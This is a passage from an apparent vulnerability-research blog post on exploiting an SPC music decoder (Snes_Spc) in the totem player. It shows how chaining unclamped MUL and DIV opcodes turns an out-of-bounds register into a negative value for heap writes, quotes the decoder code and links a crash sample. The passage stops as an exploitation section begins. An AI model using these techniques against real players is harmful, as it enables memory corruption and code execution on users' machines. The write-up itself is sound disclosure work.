<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The heap situation looks a little better inside the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">totem</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> video player process because the input file data is allocated in some other heap thread arena. So the SPC decoder object is right against the end of allocated memory in the area and we get to corrupt the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">av->top</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> “top of memory” value. But that’s still not hugely useful in this instance because there is very little heap activity going on in the decode thread during decode.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Summary: after starting with two very promising looking vulnerabilities, situation is looking very grim.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Cascading the vulnerability</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We’re running out of options. But is it possible that there are other side effects to having an out-of-bounds X register value, other than directly writing out of bounds? With this question at the front of our mind, a careful re-read of all the opcodes does turn up some ideas.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Cascading side effect #1: MUL</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Although most operations on the A, X and Y registers clamp the resulting values carefully, the very interesting new multiply instruction, MUL, does not:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> case 0xCF: { // MUL YA</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> unsigned temp = y * a;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> a = (uint8_t) temp;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> nz = ((temp >> 1) | temp) & 0x7F;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #ff9900; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">y = temp >> 8;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> nz |= y;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> goto loop;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This instruction takes two 8-bit values in the Y and A registers, and multiplies them together. The 16-bit result is split into a high and low 8-bit result value, again stored in the Y and A registers. Neat little instruction! Note how the A result value is clamped to </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">uint8_t</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> but the Y result value is not. That’s actually strictly correct: multiplying two unsigned 8-bit values has a largest result of 0xff * 0xff == 0xfe01, which would leave Y==0xfe, which does not need further clamping.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">However, we have a couple of tricks to generate 8-bit register values that are out of bounds. We can increment X past 0xff and then transfer the X value to the A and / or Y registers, and then enter the multiply. With this corrupt input state, the lack of clamping of the Y value allows us to generate much larger out-of-range register values without needing too many instructions. In effect, we can exponentiate the out-of-bounds values. The instruction count limit we are operating under no longer seems so onerous.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Example: let’s say we use the 0xAF opcode trick to increment the X register to the value 512. Now, we can use the MOV A,X and then MOV Y,A instructions to move the value 512 into the A and Y registers. Using MUL then leaves 1024 in the X register. Repeating the trick, we get 4096 in the X register. Do it again and we get 65536. These numbers are getting bigger fast!</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">However… since the multiplication is done in an unsigned variable, and the result is right shifted by 8, the largest value we’ll ever get using this trick is 2^24 - 1, or about 16MB. (To get there or near there, we’ll need to avoid integer overflow at 65536 * 65536, perhaps by starting the multiplication series with a slightly smaller value. We’ll deal with it later.)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Is this useful? Unfortunately, thread heap arenas are 64MB in size, e.g.:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">7fffbc000000-7fffbc16a000 rw-p 00000000 00:00 0 </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">7fffbc16a000-7fffc0000000 ---p 00000000 00:00 0 </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">So that 16MB “reach” is only going to crash when it smashes into that mapped but PROT_NONE area of reserved but unused thread heap arena. Blarrggg…..</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(Sample file: </span><a href="https://security.appspot.com/security/spc/crash_oob_write.spc" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">crash_oob_write.spc</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Cascading side effect #2: DIV</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">So now we have potentially </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">very</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> large values in the X register. Is there another chained side effect we can abuse? Or are we running out of rope here? It turns out that there’s one last hope: the DIV instruction is just as interesting as the MUL one. It also does transforms on the values of incoming registers, leaving the results in the A and Y registers, without any clamping on the Y result. Here’s the code:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> case 0x9E: // DIV YA,X</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> unsigned ya = y * 0x100 + a;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if ( y < x * 2 )</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> a = ya / x;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #ff9900; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">y = ya - a * x;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> else</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> a = 255 - (ya - x * 0x200) / (256 - x);</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #ff9900; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">y = x + (ya - x * 0x200) % (256 - x);</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> a = (uint8_t) a;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Even though this code is fairly simple, I don’t claim to understand it 100%, particularly with large input values. What I do know is that I see various integer overflow opportunities, integer underflow opportunities, less useful div-by-zero issues, etc. If I’m being honest here, I copied the code into a simple .c file and plugged in various A, X and Y register input values to see what dropped out. I focussed on experimenting with “clean” input values that are powers of two, or one greater or less than that. And hey presto with a bit of experimentation, I found this:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Input: A = 0, X = 257, Y = 16777215</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Output: A = 255, X = 257, </span><span style="background-color: #ff9900; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Y = -131583</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A negative value!!</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> This has the potential to change everything. The use of the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">int</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> type for the registers isn’t just about width, it’s about signedness. A negative value is awesome for us for two reasons:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A negative value, when added to the base pointer for the virtual RAM, will be sign extended to 64-bits and therefore reference </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">before</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> the virtual RAM on the heap. This gets us past the serious problem that there is very little of interest after the virtual RAM.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Looking again at </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Snes_Spc::cpu_write</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, a negative address value will avoid the logic that decides to restore padding values. It will also avoid logic that tries to “wrap around” address space writes.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Surely we can move an exploit forward now?</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">100% reliable exploitation</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The virtual RAM is not allocated with a separate </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">malloc()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> call; it’s a member array of a larger C++ object, the key parts of which are here:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">class Spc_Emu : public Music_Emu { // base class defines virtual methods</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> Snes_Spc apu;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">}</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">struct Snes_Spc {</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
